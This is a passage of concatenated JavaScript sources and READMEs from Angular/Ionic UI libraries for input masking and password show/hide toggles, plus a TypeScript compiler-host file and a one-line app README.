*ngIf=\"getAttrLabel('floating') && label\" for=\"ionInput\" floating>{{label}}</ion-label> <ion-label *ngIf=\"getAttrLabel('fixed') && label\" for=\"ionInput\" fixed>{{label}}</ion-label> <ion-label *ngIf=\"getAttrLabel('') && label\" for=\"ionInput\">{{label}}</ion-label> <ion-input id=\"ionInput\" [type]=\"getAttrTypeInput()\" [disabled]=\"disabled ? '' : null\" (keyup)=\"keyUpEvent($event)\" (blur)=\"onBlur($event)\" (change)=\"onChange($event)\" [(ngModel)]=\"valueIonInput\" [attr.clearInput]=\"getAttrClearInput()\" [placeholder]=\"getAttrPlaceholder()\"> </ion-input> </ion-item> <div *ngIf=\"!lastChild\"></div>", providers: [ { provide: forms.NG_VALUE_ACCESSOR, useExisting: core.forwardRef(function () { return IonInputMaskComponent; }), multi: true } ] },] }, ]; /** * @nocollapse */ IonInputMaskComponent.ctorParameters = function () { return []; }; IonInputMaskComponent.propDecorators = { 'placeholder': [{ type: core.Input },], 'label': [{ type: core.Input },], 'typeLabel': [{ type: core.Input },], 'typeInput': [{ type: core.Input },], 'clearInput': [{ type: core.Input },], 'lastChild': [{ type: core.Input },], 'disabled': [{ type: core.Input },], 'mask': [{ type: core.Input },], 'specialCharacters': [{ type: core.Input },], 'patterns': [{ type: core.Input },], 'dropSpecialCharacters': [{ type: core.Input },], 'clearIfNotMatch': [{ type: core.Input },], }; var __assign = (undefined && undefined.__assign) || Object.assign || function(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; }; var IonMaskModule = (function () { function IonMaskModule() { } /** * @param {?=} configValue * @return {?} */ IonMaskModule.forRoot = function (configValue) { if (configValue === void 0) { configValue = initialConfig; } return { ngModule: IonMaskModule, providers: [ { provide: config, useValue: __assign({}, initialConfig, configValue) } ] }; }; return IonMaskModule; }()); IonMaskModule.decorators = [ { type: core.NgModule, args: [{ imports: [ common.CommonModule, ionicAngular.IonicModule, forms.FormsModule ], declarations: [ IonInputMaskComponent ], exports: [ IonInputMaskComponent ] },] }, ]; /** * @nocollapse */ IonMaskModule.ctorParameters = function () { return []; }; exports.IonMaskModule = IonMaskModule; exports.IonInputMaskComponent = IonInputMaskComponent; Object.defineProperty(exports, '__esModule', { value: true }); }))); ``` ng-input-password.js ```"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; Object.defineProperty(exports, "__esModule", { value: true }); var core_1 = require("@angular/core"); var forms_1 = require("@angular/forms"); var noop = function () { }; var CUSTOM_INPUT_CONTROL_VALUE_ACCESSOR = { provide: forms_1.NG_VALUE_ACCESSOR, useExisting: core_1.forwardRef(function () { return NgInputPasswordComponent; }), multi: true }; /** * Generated class for the NgInputPasswordComponent component. * * See https://angular.io/docs/ts/latest/api/core/index/ComponentMetadata-class.html * for more info on Angular Components. */ var NgInputPasswordComponent = (function () { function NgInputPasswordComponent() { this.placeholder = 'Password'; this.color = 'primary'; this.hideColor = 'dark'; this.icon = 'eye'; this.label = ''; this.labelStyle = ''; this.isShow = false; this.typeInput = 'password'; //The internal data model this.innerValue = ''; //Placeholders for the callbacks which are later providesd //by the Control Value Accessor this.onTouchedCallback = noop; this.onChangeCallback = noop; } NgInputPasswordComponent_1 = NgInputPasswordComponent; NgInputPasswordComponent.prototype.hasLabel = function () { return this.label != ''; }; NgInputPasswordComponent.prototype.isLabelStyle = function (style) { return this.labelStyle == style; }; /** * */ NgInputPasswordComponent.prototype.showHidePass = function () { this.isShow = !this.isShow; if (this.typeInput == 'password') { this.typeInput = 'text'; } else { this.typeInput = 'password'; } }; // showHidePass /** * */ NgInputPasswordComponent.prototype.toggleColor = function () { if (this.isShow) return this.color; else return this.hideColor; }; // toggleColor Object.defineProperty(NgInputPasswordComponent.prototype, "value", { //get accessor get: function () { return this.innerValue; }, //set accessor including call the onchange callback set: function (v) { if (v !== this.innerValue) { this.innerValue = v; this.onChangeCallback(v); } }, enumerable: true, configurable: true }); ; //Set touched on blur NgInputPasswordComponent.prototype.onBlur = function () { this.onTouchedCallback(); }; //From ControlValueAccessor interface NgInputPasswordComponent.prototype.writeValue = function (value) { if (value !== this.innerValue) { this.innerValue = value; } }; //From ControlValueAccessor interface NgInputPasswordComponent.prototype.registerOnChange = function (fn) { this.onChangeCallback = fn; }; //From ControlValueAccessor interface NgInputPasswordComponent.prototype.registerOnTouched = function (fn) { this.onTouchedCallback = fn; }; __decorate([ core_1.Input('placeholder'), __metadata("design:type", Object) ], NgInputPasswordComponent.prototype, "placeholder", void 0); __decorate([ core_1.Input('color'), __metadata("design:type", String) ], NgInputPasswordComponent.prototype, "color", void 0); __decorate([ core_1.Input('hideColor'), __metadata("design:type", String) ], NgInputPasswordComponent.prototype, "hideColor", void 0); __decorate([ core_1.Input('icon'), __metadata("design:type", String) ], NgInputPasswordComponent.prototype, "icon", void 0); __decorate([ core_1.Input('label'), __metadata("design:type", String) ], NgInputPasswordComponent.prototype, "label", void 0); __decorate([ core_1.Input('labelStyle'), __metadata("design:type", String) ], NgInputPasswordComponent.prototype, "labelStyle", void 0); NgInputPasswordComponent = NgInputPasswordComponent_1 = __decorate([ core_1.Component({ selector: 'ng-input-password', template: "\n <ion-item>\n <ion-label *ngIf=\"hasLabel() && labelStyle == 'fixed' \" fixed >{{label}}</ion-label>\n <ion-label *ngIf=\"hasLabel() && labelStyle == 'floating' \" floating >{{label}}</ion-label>\n <ion-input [type]=\"typeInput\" [(ngModel)]=\"value\" [placeholder]=\"placeholder\" ></ion-input>\n <button ion-button clear [color]=\"toggleColor()\" type=\"button\" item-right (click)=\"showHidePass()\"> <ion-icon [name]=\"icon\"> </ion-icon> </button>\n </ion-item>\n ", providers: [ { provide: forms_1.NG_VALUE_ACCESSOR, useExisting: core_1.forwardRef(function () { return NgInputPasswordComponent_1; }), multi: true } ] }), __metadata("design:paramtypes", []) ], NgInputPasswordComponent); return NgInputPasswordComponent; var NgInputPasswordComponent_1; }()); exports.NgInputPasswordComponent = NgInputPasswordComponent; //# sourceMappingURL=ng-input-password.js.map``` input-mask.component.js ```var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; import { Component, ElementRef, Input, ViewChild } from '@angular/core'; import { Platform, TextInput } from 'ionic-angular'; var InputMaskComponent = (function () { function InputMaskComponent(_elementRef, _platform) { this._elementRef = _elementRef; this._platform = _platform; this._mask = ''; this._maskCharacter = '_'; this._maxLength = 0; this._value = ''; } InputMaskComponent.prototype.ngOnInit = function () { if (!!this.rawMask && this.rawMask.length > 0) { this._mask = this.rawMask; if (!!this.rawMaskCharacter && this.rawMaskCharacter.length === 1) { this._maskCharacter = this.rawMaskCharacter; } this._maxLength = this._mask.split(this._maskCharacter).length - 1; if (!!this.rawPattern && this.rawPattern.length > 0) { this._pattern = new RegExp("[^" + this.rawPattern + "]", 'g'); } } if (this._platform.is('ios')) { this.carret.nativeElement.classList.add('ios'); } this.renderValue(); }; InputMaskComponent.prototype.ngAfterViewInit = function () { if (!!this.rawType) { this._elementRef.nativeElement.removeAttribute('type'); } if (!!this.rawTabindex) { this._elementRef.nativeElement.removeAttribute('tabindex'); } }; InputMaskComponent.prototype.renderValue = function () { var splittedMask = this._mask.split(this._maskCharacter); var blockCount = splittedMask.length - 1; var text = splittedMask[0]; var lastPosition = splittedMask[0].length; for (var i = 0; i < blockCount; ++i) { text += (this._value.length > i ? this._value[i] : "<span class=\"input-mask-empty\">" + this._maskCharacter + "</span>") + splittedMask[i + 1]; lastPosition += this._value.length > i ? 1 + (i < blockCount - 1 ? splittedMask[i + 1].length : 0) : 0; } this.textHolder.nativeElement.innerHTML = text; this.carret.nativeElement.classList.add(this.input.isFocus() ? 'blink' : 'no-blink'); this.carret.nativeElement.classList.remove(this.input.isFocus() ? 'no-blink' : 'blink'); this.carret.nativeElement.style.left = (lastPosition * 1.1 + 0.6).toString() + 'ch'; }; InputMaskComponent.prototype.updateValue = function (event) { var value = this.input.value; if (!!value) { if (!!this._pattern) { value = value.replace(this._pattern, ''); } if (value.length > this._maxLength) { value = value.substring(0, this._maxLength); } } else { value = ''; } this._value = value; if (this.input.value !== value) { this.input.setValue(value); } this.renderValue(); }; Object.defineProperty(InputMaskComponent.prototype, "value", { get: function () { return this.input.value; }, set: function (value) { this.input.setValue(value); }, enumerable: true, configurable: true }); __decorate([ ViewChild(TextInput), __metadata("design:type", TextInput) ], InputMaskComponent.prototype, "input", void 0); __decorate([ ViewChild('carret'), __metadata("design:type", ElementRef) ], InputMaskComponent.prototype, "carret", void 0); __decorate([ ViewChild('textHolder'), __metadata("design:type", ElementRef) ], InputMaskComponent.prototype, "textHolder", void 0); __decorate([ Input('allowedChars'), __metadata("design:type", String) ], InputMaskComponent.prototype, "rawPattern", void 0); __decorate([ Input('mask'), __metadata("design:type", String) ], InputMaskComponent.prototype, "rawMask", void 0); __decorate([ Input('maskCharacter'), __metadata("design:type", String) ], InputMaskComponent.prototype, "rawMaskCharacter", void 0); __decorate([ Input('tabindex'), __metadata("design:type", String) ], InputMaskComponent.prototype, "rawTabindex", void 0); __decorate([ Input('type'), __metadata("design:type", String) ], InputMaskComponent.prototype, "rawType", void 0); InputMaskComponent = __decorate([ Component({ selector: 'input-mask', template: '<div class="input-mask-text-holder">' + '<div #textHolder></div>' + '<div #carret class="input-mask-carret">' + '<span>|</span>' + '</div>' + '</div>' + '<ion-input' + ' (ionFocus)="renderValue()"' + ' (ionBlur)="renderValue()"' + ' (input)="updateValue($event)"' + ' tabindex="{{rawTabindex}}"' + ' type="{{rawType}}">' + '</ion-input>' }), __metadata("design:paramtypes", [ElementRef, Platform]) ], InputMaskComponent); return InputMaskComponent; }()); export { InputMaskComponent }; //# sourceMappingURL=input-mask.component.js.map``` index.js ```export { InputMaskModule } from './input-mask.module'; export { InputMaskComponent } from './input-mask.component'; //# sourceMappingURL=index.js.map``` brmasker-ionic-services.js ```import { Directive, Injectable } from '@angular/core'; var BrMaskServicesModel = (function () { function BrMaskServicesModel() { this.type = 'alfa'; this.decimal = 2; this.decimalCaracter = ","; this.userCaracters = false; this.numberAndTousand = false; } return BrMaskServicesModel; }()); export { BrMaskServicesModel }; var BrMaskerIonicServices3 = (function () { function BrMaskerIonicServices3() { this.brmasker = new BrMaskServicesModel(); } BrMaskerIonicServices3.prototype.ngOnInit = function () { if (!this.brmasker.type) { this.brmasker.type = 'all'; } if (!this.brmasker.decimal) { this.brmasker.decimal = 2; } if (!this.brmasker.decimalCaracter) { this.brmasker.decimalCaracter = ','; } }; BrMaskerIonicServices3.prototype.writeCreateValue = function (value, config) { if (config === void 0) { config = new BrMaskServicesModel(); } if (value && config.phone) { return value.replace(/^(?:(?:\+|00)?(55)\s?)?(?:\(?([1-9][0-9])\)?\s?)?(?:((?:9\d|[2-9])\d{3})\-?(\d{4}))$/gi, '$1 ($2) $3-$4'); } if (value && config.money) { return this.writeValueMoney(value, config); } if (value && config.person) { return this.writeValuePerson(value); } if (value && config.percent) { return this.writeValuePercent(value); } if (value && config.numberAndTousand) { return this.writeValueNumberAndThousand(value); } if (value && config.userCaracters) { return this.writeValueusingSpecialCharacters(value); } if (value && config.mask) { this.brmasker.mask = config.mask; if (config.len) { this.brmasker.len = config.len; } return this.onInput(value); } return value; }; BrMaskerIonicServices3.prototype.writeValuePercent = function (value) { value.replace(/\D/gi, ''); value.replace(/%/gi, ''); return value.replace(/([0-9]{0})$/gi, '%$1'); }; BrMaskerIonicServices3.prototype.writeValuePerson = function (value) { if (value.length <= 11) { return value.replace(/(\d{3})(\d{3})(\d{3})(\d{2})/gi, '\$1.\$2.\$3\-\$4'); } else { return value.replace(/(\d{2})(\d{3})(\d{3})(\d{4})(\d{2})/gi, '\$1.\$2.\$3\/\$4\-\$5'); } }; BrMaskerIonicServices3.prototype.writeValueMoney = function (value, config) { if (config === void 0) { config = new BrMaskServicesModel(); } return this.moneyMask(value, config); }; BrMaskerIonicServices3.prototype.writeValueNumberAndThousand = function (value, config) { if (config === void 0) { config = new BrMaskServicesModel(); } return this.thousand(value); }; BrMaskerIonicServices3.prototype.writeValueusingSpecialCharacters = function (value, config) { if (config === void 0) { config = new BrMaskServicesModel(); } return this.usingSpecialCharacters(value, config.mask, config.len); }; BrMaskerIonicServices3.prototype.moneyMask = function (value, config) { var decimal = config.decimal || this.brmasker.decimal; value = value .replace(/\D/gi, '') .replace(new RegExp("([0-9]{" + decimal + "})$", "g"), config.decimalCaracter + '$1'); if (value.length === decimal + 1) { return "0" + value; // leading 0 so we're not left with something weird like ",50" } else if (value.length > decimal + 2 && value.charAt(0) === '0') { return value.substr(1); // remove leading 0 when we don't need it anymore } if (config.thousand && value.length > (Number(4) + Number(config.decimal))) { value = value.replace(new RegExp("([0-9]{3})" + config.decimalCaracter + "([0-9]{" + config.decimal + "}$)", "g"), config.thousand + "$1" + config.decimalCaracter + "$2"); } if (config.thousand && value.length > (Number(8) + Number(config.decimal))) { value = value.replace(new RegExp("([0-9]{3})" + config.thousand + "([0-9]{3})" + config.decimalCaracter + "([0-9]{" + config.decimal + "}$)", "g"), config.thousand + "$1" + config.thousand + "$2" + config.decimalCaracter + "$3"); } return value; }; BrMaskerIonicServices3.prototype.onInput = function (value) { var ret = this.formatField(value, this.brmasker.mask, this.brmasker.len); return ret; }; BrMaskerIonicServices3.prototype.thousand = function (value) { var val = value.replace(/\D/gi, ''); var reverse = val.toString().split('').reverse().join(''); var thousands = reverse.match(/\d{1,3}/g); val = thousands.join("" + (this.brmasker.thousand || '.')).split('').reverse().join(''); return val; }; BrMaskerIonicServices3.prototype.usingSpecialCharacters = function (campo, Mascara, tamanho) { if (!tamanho) { tamanho = 99999999999; } var boleanoMascara; var exp = /\-|\.|\,| /gi; var campoSoNumeros = campo.toString().replace(exp, ''); var posicaoCampo = 0; var NovoValorCampo = ''; var TamanhoMascara = campoSoNumeros.length; for (var i = 0; i < TamanhoMascara; i++) { if (i < tamanho) { boleanoMascara = ((Mascara.charAt(i) === '-') || (Mascara.charAt(i) === '.') || (Mascara.charAt(i) === ',')); if (boleanoMascara) { NovoValorCampo += Mascara.charAt(i); TamanhoMascara++; } else { NovoValorCampo += campoSoNumeros.charAt(posicaoCampo); posicaoCampo++; } } } return NovoValorCampo; }; BrMaskerIonicServices3.prototype.formatField = function (campo, Mascara, tamanho) { if (!tamanho) { tamanho = 99999999999; } var boleanoMascara; var exp = /\-|\.|\/|\(|\)|\,|\*|\+|\@|\#|\$|\&|\%|\:| /gi; var campoSoNumeros = campo.toString().replace(exp, ''); var posicaoCampo = 0; var NovoValorCampo = ''; var TamanhoMascara = campoSoNumeros.length; for (var i = 0; i < TamanhoMascara; i++) { if (i < tamanho) { boleanoMascara = ((Mascara.charAt(i) === '-') || (Mascara.charAt(i) === '.') || (Mascara.charAt(i) === '/')); boleanoMascara = boleanoMascara || ((Mascara.charAt(i) === '(') || (Mascara.charAt(i) === ')') || (Mascara.charAt(i) === ' ')); boleanoMascara = boleanoMascara || ((Mascara.charAt(i) === ',') || (Mascara.charAt(i) === '*') || (Mascara.charAt(i) === '+')); boleanoMascara = boleanoMascara || ((Mascara.charAt(i) === '@') || (Mascara.charAt(i) === '#') || (Mascara.charAt(i) === ':')); boleanoMascara = boleanoMascara || ((Mascara.charAt(i) === '$') || (Mascara.charAt(i) === '&') || (Mascara.charAt(i) === '%')); if (boleanoMascara) { NovoValorCampo += Mascara.charAt(i); TamanhoMascara++; } else { NovoValorCampo += campoSoNumeros.charAt(posicaoCampo); posicaoCampo++; } } } return NovoValorCampo; }; return BrMaskerIonicServices3; }()); export { BrMaskerIonicServices3 }; BrMaskerIonicServices3.decorators = [ { type: Directive, args: [{ selector: '[brmasker]', },] }, { type: Injectable }, ]; /** @nocollapse */ BrMaskerIonicServices3.ctorParameters = function () { return []; }; //# sourceMappingURL=brmasker-ionic-services.js.map``` compiler-host.js ```"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var path_1 = require("path"); var typescript_1 = require("typescript"); var typescript_utils_1 = require("../util/typescript-utils"); var logger_1 = require("../logger/logger"); var FileSystemCompilerHost = (function () { function FileSystemCompilerHost(options, fileSystem, setParentNodes) { if (setParentNodes === void 0) { setParentNodes = true; } this.options = options; this.fileSystem = fileSystem; this.setParentNodes = setParentNodes; this.diskCompilerHost = typescript_1.createCompilerHost(this.options, this.setParentNodes); } FileSystemCompilerHost.prototype.fileExists = function (filePath) { filePath = path_1.normalize(filePath); var fileContent = this.fileSystem.getFileContent(filePath); if (fileContent) { return true; } return this.diskCompilerHost.fileExists(filePath); }; FileSystemCompilerHost.prototype.readFile = function (filePath) { filePath = path_1.normalize(filePath); var fileContent = this.fileSystem.getFileContent(filePath); if (fileContent) { return fileContent; } return this.diskCompilerHost.readFile(filePath); }; FileSystemCompilerHost.prototype.directoryExists = function (directoryPath) { directoryPath = path_1.normalize(directoryPath); var stats = this.fileSystem.getDirectoryStats(directoryPath); if (stats) { return true; } return this.diskCompilerHost.directoryExists(directoryPath); }; FileSystemCompilerHost.prototype.getFiles = function (directoryPath) { directoryPath = path_1.normalize(directoryPath); return this.fileSystem.getFileNamesInDirectory(directoryPath); }; FileSystemCompilerHost.prototype.getDirectories = function (directoryPath) { directoryPath = path_1.normalize(directoryPath); var subdirs = this.fileSystem.getSubDirs(directoryPath); var delegated; try { delegated = this.diskCompilerHost.getDirectories(directoryPath); } catch (e) { delegated = []; } return delegated.concat(subdirs); }; FileSystemCompilerHost.prototype.getSourceFile = function (filePath, languageVersion, onError) { filePath = path_1.normalize(filePath); // we haven't created a source file for this yet, so try to use what's in memory var fileContentFromMemory = this.fileSystem.getFileContent(filePath); if (fileContentFromMemory) { var typescriptSourceFile = typescript_utils_1.getTypescriptSourceFile(filePath, fileContentFromMemory, languageVersion, this.setParentNodes); return typescriptSourceFile; } var diskSourceFile = this.diskCompilerHost.getSourceFile(filePath, languageVersion, onError); return diskSourceFile; }; FileSystemCompilerHost.prototype.getCancellationToken = function () { return this.diskCompilerHost.getCancellationToken(); }; FileSystemCompilerHost.prototype.getDefaultLibFileName = function (options) { return this.diskCompilerHost.getDefaultLibFileName(options); }; FileSystemCompilerHost.prototype.writeFile = function (fileName, data, writeByteOrderMark, onError) { fileName = path_1.normalize(fileName); logger_1.Logger.debug("[NgcCompilerHost] writeFile: adding " + fileName + " to virtual file system"); this.fileSystem.addVirtualFile(fileName, data); }; FileSystemCompilerHost.prototype.getCurrentDirectory = function () { return this.diskCompilerHost.getCurrentDirectory(); }; FileSystemCompilerHost.prototype.getCanonicalFileName = function (fileName) { return this.diskCompilerHost.getCanonicalFileName(fileName); }; FileSystemCompilerHost.prototype.useCaseSensitiveFileNames = function () { return this.diskCompilerHost.useCaseSensitiveFileNames(); }; FileSystemCompilerHost.prototype.getNewLine = function () { return this.diskCompilerHost.getNewLine(); }; return FileSystemCompilerHost; }()); exports.FileSystemCompilerHost = FileSystemCompilerHost; ``` README.md ```# ionic2-mask-directive Ionic2MaskDirective help you add mask on ion-input with just a directive and a very simple configuration. ## Install ```bash npm i ionic2-mask-directive --save ``` ## Import directive Import the directive into your app module. ```typescript import {Ionic2MaskDirective} from "ionic2-mask-directive"; @NgModule({ declarations: [ MyApp, Ionic2MaskDirective, HomePage ], imports: [ BrowserModule, IonicModule.forRoot(MyApp), HttpModule ], bootstrap: [IonicApp], entryComponents: [ MyApp, HomePage ], providers: [ StatusBar, SplashScreen, {provide: ErrorHandler, useClass: IonicErrorHandler} ] }) export class AppModule { } ``` ## Usage To configure the mask, you can use 3 types of characters. * \# - any type of char; * 9 - only numbers; * A - only letters; ## Example ```html <!-- phone number in Brasil --> <ion-input type="text" mask="(99) 9999-9999" placeholder="Phone" [(ngModel)]="user.phone" required></ion-input> <!-- brasilian document --> <ion-input type="text" mask="999.999.999-99" placeholder="CPF" [(ngModel)]="user.document" required></ion-input> ``` ## Contribute Any pull-request and issue is more than welcome. ## License [The MIT License (MIT) Copyright (c) 2013](http://opensource.org/licenses/MIT) ``` ionic2-mask-directive.umd.js ```(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('@angular/core'), require('@angular/forms')) : typeof define === 'function' && define.amd ? define(['exports', '@angular/core', '@angular/forms'], factory) : (factory((global['ionic2-mask-directive'] = {}),global.ng.core,global.ng.forms)); }(this, (function (exports,core,forms) { 'use strict'; var Ionic2MaskDirective = /** @class */ (function () { /** * @param {?} control */ function Ionic2MaskDirective(control) { this.control = control; } /** * @return {?} */ Ionic2MaskDirective.prototype.ngOnChanges = function () { var /** @type {?} */ value = this.control.control.value; if (value) { this.control.control.setValue(this.format(value)); } }; /** * @param {?} $event * @return {?} */ Ionic2MaskDirective.prototype.onKeyUp = function ($event) { if ($event.keyCode !== 13 && $event.keyCode !== 9) { var /** @type {?} */ value = this.control.control.value; this.control.control.setValue(this.format(value)); } }; /** * @param {?} v * @return {?} */ Ionic2MaskDirective.prototype.format = function (v) { var /** @type {?} */ s = ''; var /** @type {?} */ matches = v.match(/[a-zA-Z0-9]+/g); if (matches !== null) { var /** @type {?} */ value = matches.join('').split(''); var /** @type {?} */ chars = this.mask.split(''); for (var _i = 0, chars_1 = chars; _i < chars_1.length; _i++) { var c = chars_1[_i]; if (value.length === 0) { break; } switch (c) { case '#': s += value[0]; value = value.slice(1); break; case '9': if (value[0].match(/\d/) !== null) { s += value[0]; value = value.slice(1); } break; case 'A': if (value[0].match(/[a-zA-Z]/) !== null) { s += value[0]; value = value.slice(1); } break; default: s += c; } } } return s; }; return Ionic2MaskDirective; }()); Ionic2MaskDirective.decorators = [ { type: core.Directive, args: [{ selector: '[mask]' },] }, ]; /** * @nocollapse */ Ionic2MaskDirective.ctorParameters = function () { return [ { type: forms.NgControl, }, ]; }; Ionic2MaskDirective.propDecorators = { 'mask': [{ type: core.Input },], 'ngOnChanges': [{ type: core.HostListener, args: ['change',] },], 'onKeyUp': [{ type: core.HostListener, args: ['keyup', ['$event'],] },], }; exports.Ionic2MaskDirective = Ionic2MaskDirective; Object.defineProperty(exports, '__esModule', { value: true }); }))); //# sourceMappingURL=ionic2-mask-directive.umd.js.map ``` README.md ```## Decra Tile Verification App Create Tile Verification App for both Android and iOS. Published on App Store on 5th June and on Play Store on 12th June 2019. ``` ionic2-mask-directive.umd.min.js ```!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("@angular/core"),require("@angular/forms")):"function"==typeof define&&define.amd?define(["exports","@angular/core","@angular/forms"],t):t(e["ionic2-mask-directive"]={},e.ng.core,e.ng.forms)}(this,function(e,t,o){"use strict";var r=function(){function e(e){this.control=e}return e.prototype.ngOnChanges=function(){var e=this.control.control.value;e&&this.control.control.setValue(this.format(e))},e.prototype.onKeyUp=function(e){if(13!==e.keyCode&&9!==e.keyCode){var t=this.control.control.value;this.control.control.setValue(this.format(t))}},e.prototype.format=function(e){var t="",o=e.match(/[a-zA-Z0-9]+/g);if(null!==o)for(var r=o.join("").split(""),n=0,a=this.mask.split("");n<a.length;n++){var i=a[n];if(0===r.length)break;switch(i){case"#":t+=r[0],r=r.slice(1);break;case"9":null!==r[0].match(/\d/)&&(t+=r[0],r=r.slice(1));break;case"A":null!==r[0].match(/[a-zA-Z]/)&&(t+=r[0],r=r.slice(1));break;default:t+=i}}return t},e}();r.decorators=[{type:t.Directive,args:[{selector:"[mask]"}]}],r.ctorParameters=function(){return[{type:o.NgControl}]},r.propDecorators={mask:[{type:t.Input}],ngOnChanges:[{type:t.HostListener,args:["change"]}],onKeyUp:[{type:t.HostListener,args:["keyup",["$event"]]}]},e.Ionic2MaskDirective=r,Object.defineProperty(e,"__esModule",{value:!0})}); //# sourceMappingURL=ionic2-mask-directive.umd.min.js.map ``` index.d.ts ```export { InputMaskModule } from './input-mask.module'; export { InputMaskComponent } from './input-mask.component'; ``` ngx-show-hide-password.umd.min.js ```!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("rxjs"),require("@fortawesome/free-solid-svg-icons"),require("@angular/core"),require("@angular/common"),require("@angular/forms"),require("@fortawesome/angular-fontawesome")):"function"==typeof define&&define.amd?define("ngx-show-hide-password",["exports","rxjs","@fortawesome/free-solid-svg-icons","@angular/core","@angular/common","@angular/forms","@fortawesome/angular-fontawesome"],t):t(e["ngx-show-hide-password"]={},e.rxjs,e.freeSolidSvgIcons,e.ng.core,e.ng.common,e.ng.forms,e.angularFontawesome)}(this,function(e,n,r,t,i,s,o){"use strict";var u=function(){function e(){this.states=[]}return e.prototype.getIO=function(t){var e=this.states.find(function(e){return e.id===t});return!e&&t&&(e=this.init(t)),e},e.prototype.init=function(e,t){void 0===t&&(t=!1);var i={id:e,show:t,subject:new n.ReplaySubject(1)};return this.states.push(i),i},e.prototype.getObservable=function(e){return this.getIO(e).subject},e.prototype.getShow=function(e){return this.getIO(e).show},e.prototype.setShow=function(e,t){var i=this.getIO(e);i.show=t,i.subject.next(i.show)},e.prototype.toggle=function(e){var t=this.getIO(e);t.show=!t.show,t.subject.next(t.show)},e.decorators=[{type:t.Injectable,args:[{providedIn:"root"}]}],e.ctorParameters=function(){return[]},e.ngInjectableDef=t.defineInjectable({factory:function(){return new e},token:e,providedIn:"root"}),e}(),h=function(){function e(e){this.service=e}return e.prototype.onClick=function(){if(!this.showHideTrigger)throw new Error("No input id found. Please read the docs!");this.service.toggle(this.showHideTrigger)},e.decorators=[{type:t.Directive,args:[{selector:"[showHideTrigger]"}]}],e.ctorParameters=function(){return[{type:u}]},e.propDecorators={showHideTrigger:[{type:t.Input}],onClick:[{type:t.HostListener,args:["click"]}]},e}(),a=function(){return(a=Object.assign||function(e){for(var t,i=1,n=arguments.length;i<n;i++)for(var r in t=arguments[i])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)},c=function(){function e(e,t,i){this.service=e,this.el=t,this.renderer=i}return e.prototype.ngAfterViewInit=function(){var t=this;if(this.config=a({},{show:"visibility",hide:"visibility_off",materialIcon:!1},this.showHideStatus),!this.config.id)throw new Error("No input id found. Please read the docs!");this.subscription=this.service.getObservable(this.config.id).subscribe(function(e){return t.updateStatus(e)})},e.prototype.updateStatus=function(e){this.config.materialIcon?this.renderer.setProperty(this.el.nativeElement,"innerHTML",e?this.config.hide:this.config.show):(this.renderer.removeClass(this.el.nativeElement,e?this.config.show:this.config.hide),this.renderer.addClass(this.el.nativeElement,e?this.config.hide:this.config.show))},e.prototype.ngOnDestroy=function(){this.subscription&&this.subscription.unsubscribe()},e.decorators=[{type:t.Directive,args:[{selector:"[showHideStatus]"}]}],e.ctorParameters=function(){return[{type:u},{type:t.ElementRef},{type:t.Renderer2}]},e.propDecorators={showHideStatus:[{type:t.Input}]},e}(),d=function(){function e(e,t,i){if(this.service=e,this.el=t,this.renderer=i,this.id=this.el.nativeElement.getAttribute("id"),!this.id)throw new Error("No input id found. Please read the docs!");this.service.setShow(this.id,"password"!==this.el.nativeElement.type)}return e.prototype.getShown=function(){return this.service.getShow(this.id)},e.prototype.ngOnInit=function(){var t=this;this.subscription=this.service.getObservable(this.id).subscribe(function(e){return t.renderer.setAttribute(t.el.nativeElement,"type",e?"text":"password")})},e.prototype.ngOnDestroy=function(){this.subscription&&this.subscription.unsubscribe()},e.decorators=[{type:t.Directive,args:[{selector:"input[showHideInput]"}]}],e.ctorParameters=function(){return[{type:u},{type:t.ElementRef},{type:t.Renderer2}]},e}(),p=function(){function e(e,t,i){this.service=e,this.elem=t,this.renderer=i,this.btnStyle="secondary",this.btnOutline=!0,this.faEye=r.faEye,this.faEyeSlash=r.faEyeSlash}return e.prototype.ngOnInit=function(){var t=this;if(this.input=this.elem.nativeElement.querySelector("input"),!this.input)throw new Error("No input element found. Please read the docs!");this.id=this.input.getAttribute("id"),this.id||(this.id="showHideInput"+Math.round(1e5*Math.random()),this.renderer.setAttribute(this.input,"id",this.id)),this.renderer.addClass(this.elem.nativeElement,"input-group"),"sm"===this.size?this.renderer.addClass(this.elem.nativeElement,"input-group-sm"):"lg"===this.size&&this.renderer.addClass(this.elem.nativeElement,"input-group-lg"),this.isHidden="password"===this.input.type,this.renderer.addClass(this.input,"form-control"),this.service.setShow(this.id,"password"!==this.input.type),this.subscription=this.service.getObservable(this.id).subscribe(function(e){t.isHidden=!e,t.renderer.setAttribute(t.input,"type",e?"text":"password")})},e.prototype.ngOnDestroy=function(){this.subscription&&this.subscription.unsubscribe()},e.decorators=[{type:t.Component,args:[{selector:"show-hide-password",changeDetection:t.ChangeDetectionStrategy.OnPush,template:'\n <ng-content></ng-content>\n <div class="input-group-append ngx-show-hide-password">\n <button class="btn" 